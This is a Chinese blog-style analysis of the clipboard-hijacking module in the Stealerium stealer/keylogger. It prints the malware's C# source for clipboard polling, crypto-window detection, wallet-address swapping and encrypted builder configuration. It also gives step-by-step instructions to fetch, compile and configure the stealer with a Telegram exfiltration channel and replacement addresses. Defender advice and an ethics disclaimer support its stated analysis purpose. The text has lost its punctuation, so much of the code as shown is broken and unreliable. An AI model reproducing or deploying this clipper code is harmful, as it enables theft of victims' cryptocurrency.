剪切板劫持攻击完整解剖:Stealerium 加密货币地址替换引擎是如何工作的

剪切板劫持攻击完整解剖:Stealerium 加密货币地址替换引擎是如何工作的
剪切板劫持攻击完整解剖Stealerium 加密货币地址替换引擎是如何工作的【免费下载链接】StealeriumStealer Clipper Keylogger项目地址: https://gitcode.com/gh_mirrors/st/Stealerium深夜你刚谈成一笔交易对方发来一串比特币地址。你复制、粘贴、确认——几秒后钱却进了别人的钱包。没有弹窗没有报错唯一异常的是地址中间那几位和你刚才看到的对不上。这不是科幻片而是剪切板劫持Clipper攻击的真实剧本。这次要拆解的Stealerium正是把这类攻击做成了可配置、可加密、全自动运转的完整链路。整个引擎只有四个 C# 文件、不到两百行代码却精准地完成了监控→识别→替换的全过程。本文不教作恶只做一次彻底的逆向式阅读让你看清攻击者的套路也让你知道该怎么防。一个先决问题为什么剪贴板值得被攻击先想一个生活细节你在网页、聊天软件和钱包 App 之间转账时是怎么搬地址的十有八九是复制粘贴。这就是攻击者盯上剪贴板的原因——它是用户手动核验最薄弱的一环。人眼很难逐字符比对一长串 40 位的十六进制地址于是替换就变成了一种几乎不可察觉的盗窃手法。Stealerium 的架构里Clipper模块位于Stealerium.Stub/Clipper/只负责一件事发现剪贴板里的加密货币地址并悄悄换成攻击者自己的地址。下面我们按数据流动的方向把它拆成五层来读。第一层哨兵线程——两秒一次的轮询守望它要解决什么问题程序无法主动收到剪贴板变了的系统通知必须自己去读。它如何解决在Stealerium.Stub/Helpers/ClipboardManager.cs中一个后台线程进入死循环每两秒读一次剪贴板与上次内容比较一旦不同就触发后续动作// 后台守护线程IsBackgroundtrue 意味着主程序退出它会跟着结束 public static readonly Thread MainThread new Thread(MonitorClipboard) { IsBackground true }; private static void MonitorClipboard() { while (true) { Thread.Sleep(2000); // 每 2 秒醒一次控制 CPU 占用 ClipboardText Clipboard.GetText(); // 读当前剪贴板文本 if (ClipboardText _previousClipboardContent) continue; // 内容没变跳过本轮 _previousClipboardContent ClipboardText; // 记录新内容 EventManager.Action(); // 内容变了交给事件层处理 } }这里有个值得玩味的细节为什么不做成 500ms 一次的高频轮询因为每两秒一次已经足够覆盖人类手动复制地址的正常操作节奏又能把资源占用压到极低——恶意软件也讲低存在感。类比这就像一个只在你家门口徘徊的哨兵不闯进屋里但你每次出门换鞋它都知道。顺带一提读取剪贴板在 Windows 上要求线程处于 STA 单元模型COM 的限制所以Clipboard.cs每次读写都会临时新建一个 STA 线程来干活用完即弃异常还全部静默吞掉public static string GetText() { var returnValue string.Empty; try { // 剪贴板是 COM 对象必须在 STA 线程里访问 var staThread new Thread(() { returnValue System.Windows.Forms.Clipboard.GetText(); }); staThread.SetApartmentState(ApartmentState.STA); staThread.Start(); staThread.Join(); // 等这个线程干完 } catch { /* 静默失败读不到就当空剪贴板 */ } return returnValue; }第二层触发开关——只在币圈窗口前动手它要解决什么问题见谁换谁太容易被发现也浪费资源。攻击者希望只盯着正在操作加密货币的用户。它如何解决在Stealerium.Stub/Clipper/EventManager.cs里Action()会先检测当前前台窗口标题里是否含有关键词命中才执行替换public static void Action() { Logger.SaveClipboard(); // 先把剪贴板原文存日志备份证据 if (Detect()) // 当前窗口像不像币圈应用 Buffer.Replace(); // 像才执行替换 } private static bool Detect() { // 拿当前活跃窗口的标题转小写做不区分大小写的匹配 var activeWindow WindowManager.ActiveWindow.ToLower(); foreach (var target in Config.CryptoServices) // 遍历关键词表 { if (activeWindow.Contains(target.ToLower())) return true; // 标题里出现coinbase等就放行 } return false; }关键词表定义在Stealerium.Stub/Config.cs里覆盖面相当讲究bitcoin、coinbase、wallet、trading、blockchain、paxful等一应俱全。类比不是所有访客都值得接待门口先看职业——你是币圈的人才有人上来搭话。有意思的是Program.cs里还有一道更前面的闸门ClipperModule 1 Autorun 1 Counter.CryptoServices。也就是说即使构建时开了 Clipper也要求程序已驻留自启动、且之前检测到用户进过币圈窗口哨兵线程才会真正拉起。三重条件层层收窄把暴露面压到最小。第三层指纹库——加密的正则识别六种主流币它要解决什么问题剪贴板里可能是一段话、一个订单号、一句聊天怎么准确挑出这确实是个币地址它如何解决每种币的地址都有严格的格式规则用正则表达式就能精确筛。Stealerium.Stub/Clipper/Patterns.cs维护了一张币种 → 正则字典覆盖 BTC、ETH、XLM、LTC、BCH币种密钥明文正则代码注释里可读到规则解读比特币btc^(bc1\|[13])[a-zA-HJ-NP-Z0-9]{25,39}$以 bc1 或 1/3 开头25~39 位以太坊eth^0x[a-fA-F0-9]{40}$0x 加恰好 40 位十六进制恒星币xlm^G[0-9a-zA-Z]{55}$大写 G 开头55 位莱特币ltc^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$L/M/3 开头26~33 位比特现金bch^((bitcoincash:)?(q\|p)[a-z0-9]{41}$q/p 开头41 位这些正则一眼就能看懂但代码里它们全部被加密成了一串字节数组运行时才通过StringsCrypt.Decrypt()还原。为什么要多此一举因为静态分析工具扫字符串特征词时看到的是一堆乱码字节而不是0x[a-fA-F0-9]{40}这种高嫌疑签名。这就是对抗检测的常规操作。第四层临门一脚——替换、验签、留痕它要解决什么问题识别出地址后要用攻击者预设的地址覆盖剪贴板且不能反复替换造成死循环也不能在配置没填地址时空跑。它如何解决核心逻辑在Stealerium.Stub/Clipper/Clipper.cs的Buffer.Replace()全文 40 行逻辑闭环public static void Replace() { var clipboardContent Clipboard.GetText(); // 再读一次最新剪贴板 if (string.IsNullOrEmpty(clipboardContent)) // 空内容直接回家 return; // 拿币种正则挨个去匹配剪贴板内容 foreach (var dictionaryEntry in RegexPatterns.PatternsList) { var cryptocurrency dictionaryEntry.Key; // 比如 btc var pattern dictionaryEntry.Value; // 对应的正则 if (pattern.Match(clipboardContent).Success) // 匹配上了 { // 从配置里取攻击者预设的替换地址 var replaceTo Config.ClipperAddresses.ContainsKey(cryptocurrency) ? Config.ClipperAddresses[cryptocurrency] : null; // 三重保险地址非空、不是占位符 ---、且不等于原文 if (!string.IsNullOrEmpty(replaceTo) !replaceTo.Contains(---) !clipboardContent.Equals(replaceTo)) { Clipboard.SetText(replaceTo); // 覆盖剪贴板 Logging.Log($Clipper replaced to {replaceTo}); // 记一笔日志 return; // 只换一次收工 } } } }这段代码值得逐条品Contains(---)检查构建时没填地址配置里就是--- ClipperBTC ---这种占位符。这一行判断直接避免把占位符写回剪贴板的灾难性 bug。Equals(replaceTo)检查如果用户复制的恰好就是攻击者地址比如受害者也在给攻击者打钱跳过不换防止替换→发现变化→再替换的死循环。return提前退出命中第一个币种就结束不继续匹配既省时也避免多重覆盖。到这里一条完整的劫持链路已经闭环哨兵发现变化 → 窗口关键词放行 → 正则确认币地址 → 覆盖剪贴板 → 写入日志。第五层上游装配——Builder 如何把地址埋进程序它要解决什么问题攻击者不可能每次攻击都改源码重编译。替换地址必须是运行时从配置读且配置要防抓取。它如何解决Stealerium.Builder/MainWindow.xaml.cs的构建界面提供了三个输入框BTC/ETH/LTC勾选 Clipper 开关后地址先经过Crypt.EncryptConfig()做 AES 加密再写进产物// 勾选 Clipper 复选框 → 功能开关置 1 Build.ConfigValues[Clipper] ClipperCheckBox.IsChecked true ? 1 : 0; // 地址加密后写入配置而不是明文保存 Build.ConfigValues[ClipperBTC] Crypt.EncryptConfig(ClipperBTCTextBox.Text.Trim()); Build.ConfigValues[ClipperETH] Crypt.EncryptConfig(ClipperETHTextBox.Text.Trim()); Build.ConfigValues[ClipperLTC] Crypt.EncryptConfig(ClipperLTCTextBox.Text.Trim());加密用的是 AES-256-CBC密钥和盐写死在Builder/Crypt.cs与Stub/Modules/Implant/StringsCrypt.cs里两边代码几乎镜像方便加密/解密配对。运行时Config.InitAsync()解密若 Clipper 开关没开连地址都懒得解密——少一次解密操作就少一个被调试器盯上的机会。实战链路从配置到触发的完整演练如果你想在隔离环境里验证这套机制强烈建议虚拟机步骤如下克隆仓库git clone https://gitcode.com/gh_mirrors/st/Stealerium用 Visual Studio 打开Stealerium.sln以Release配置编译Stealerium.Stub得到stub.exe编译并运行Stealerium.Builder填入 Telegram Bot Token 和 Chat ID这是报告回传通道会校验有效性勾选Clipper复选框在 BTC/ETH/LTC 三个框里填入测试地址点击 Build 生成成品 exe在未接入真实网络、无重要数据的虚拟机里执行打开任意钱包网站复制一个测试地址再粘贴出来——你会发现地址已被替换开启 Debug 模式时日志会落在%TEMP%\Stealerium-Latest.log形如Clipper replaced to ...这就是攻击留下的唯一纸面痕迹。这一条路走下来你会直观感受到整个攻击没有利用任何系统漏洞全是合法 API 正常用户习惯的组合拳这正是它难防的原因。风险与边界这枚硬币的反面作为技术文章必须把话说全。这套设计远非无懈可击看清它的破绽才谈得上防御它自身的局限只处理纯文本复制图片、HTML 富文本或加密内容时无能为力轮询有窗口期两秒间隔意味着快速粘贴可能绕过用户手速检测周期没有系统级通知相比 Windows 剪贴板历史 API轮询注定更高延迟明文依赖硬编码密钥StringsCrypt.cs里的 AES 密钥和盐以字节数组形式躺在源码里逆向者花五分钟就能提取加密只是防君子不防小人。面向防御者的启示杀软/EDR 可重点监控%TEMP%\Stealerium-Latest.log的写入、频繁的Clipboard.SetText调用、以及读剪贴板→写剪贴板的短间隔操作对普通用户最有效的一招转账前把地址粘贴到记事本里逐段核对或者干脆用硬件钱包直接确认收款地址复制后先用粘贴到文本编辑器再复制一次的方式也能打乱替换节奏。边界与伦理这是一个公开镜像中的教学样本代码写得相当工整是学习恶意软件分析、反沙箱、反调试的优质教材但请记住在未授权设备上部署或运行这类程序在几乎所有司法辖区都是重罪。研究它的正确姿势是隔离环境、只分析不投放把学到的对抗知识用于检测产品开发。结语看懂攻击是防御的第一步回看整条链路你会发现 Stealerium 的剪切板劫持没有一处高科技一个轮询线程、一张正则表、一次剪贴板覆盖。它赢在把人的操作习惯当成了攻击面——你复制粘贴的每一次动作都可能成为资产流失的瞬间。下一步行动建议如果你做安全研发去把Stealerium.Stub/Clipper/四个文件逐行读完再想想你的 EDR 有没有覆盖剪贴板替换这类行为特征如果你只是普通用户今天就去养成粘贴到记事本核对地址的习惯。攻击者研究的是人性防御者能做的是比人性多一道确认。【免费下载链接】StealeriumStealer Clipper Keylogger项目地址: https://gitcode.com/gh_mirrors/st/Stealerium创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

最新新闻

日新闻

周新闻

月新闻